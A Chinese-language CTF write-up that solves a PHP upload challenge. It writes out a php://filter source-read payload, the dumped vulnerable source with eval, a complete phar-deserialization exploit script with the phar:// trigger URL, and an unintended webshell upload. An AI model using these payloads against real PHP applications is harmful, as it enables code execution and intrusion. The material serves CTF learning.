知识点
- 弱口令爆破
- php伪协议文件读取
解题
1. 弱口令
2. 文件读取
看到当前引用的是 upload.php加上urlhome.php?file=upload
很容易联想到文件包含,这里用伪协议进行文件读取
php://filter/read=convert.base64-encode/resource=upload
获得源码
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><form action="" method="post" enctype="multipart/form-data">上传文件<input type="file" name="file" /><input type="submit" name="submit" value="上传" /></form><?phperror_reporting(0);class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";$ext = ".txt";@mkdir($sandbox, 0777, true);if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}else{$this->Filename = $sandbox.$_SESSION['user'].$ext;}$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";$this->token = $_SESSION['user'];}function upload($file){global $sandbox;global $ext;if(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}else{if($file['size'] > 1024){$this->cmd = "die('you are too big (′▽`〃)');";}else{$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename;}function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}}if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}}?>
3.phar反序列化 预期解
感觉这道题有点问题,反正很多非预期
$this->Filename是可控的
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){$this->Filename = $_GET['name'];}
接着就是 析构函数可以有一个命令执行 但是命令执行的前提是我们指导session
but echo “下面是你上传的文件:
“.$uploader.”
“; 暴露了session
function __destruct(){if($this->token != $_SESSION['user']){$this->cmd = "die('check token falied!');";}eval($this->cmd);}
function __toString(){global $sandbox;global $ext;// return $sandbox.$this->Filename.$ext;return $this->Filename; 返回了文件名里有session}
- 所以随便上传一个文件就可以得到session[user]了
写exp
<?phpclass Uploader{public $Filename;public $cmd;public $token;}$upload = new Uploader();$upload->cmd = "highlight_file('/var/www/html/flag.php');";$upload->Filename = 'test';$upload->token = 'GXY1bc3499eb86867d7a7fe7c7ba1b750c7';$phar = new Phar("exp.phar");$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');$phar->setMetadata($upload);$phar->addFromString("exp.txt", "test");$phar->stopBuffering();?>
将这个文件上传之后![S0$S~EGT_A%YXH0AUQ6TYS.png将得到的文件路径前加一个phar://
因为我们可以控制文件名称
所以构造url为?file=upload&name=phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后再此上传文件
if(isset($_FILES['file'])) {$uploader = new Uploader();$uploader->upload($_FILES["file"]);if(@file_get_contents($uploader)){echo "下面是你上传的文件:<br>".$uploader."<br>";echo file_get_contents($uploader);}}
此时会new一个新的Uploader,而此时他的filename是我们phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt
之后会调用upload函数不用管
但是在下面的file_get_contents($uploader)会调用toString函数这个时候就变为了file_get_contents(phar:///var/www/html/uploads/2f0590cbb2eb9805ef7301a7047c00be/GXY1bc3499eb86867d7a7fe7c7ba1b750c7.txt)
会自动解析我们的phar文件
而这个phar里的cmd属性的值是highlight_file(‘/var/www/html/flag.php’);
在析构的时候就会给出我们的flag
非预期
- 直接传shell.php
这里的过滤好像没有什么卵用,按理说应该是不能传shell.phpif(preg_match("[^a-z0-9]", $this->Filename)){$this->cmd = "die('illegal filename!');";}
如果文件名称为shell.php,前面的phar
应该会调用
但是并没有,这个可以猜到,如果有的话,前面正常的文件上传按理来说应该也是不行的$this->cmd = "die('illegal filename!');";
所以直接控制名称为shell.php
上传一个webshell
我觉得这道题很烂,做的莫名其妙!
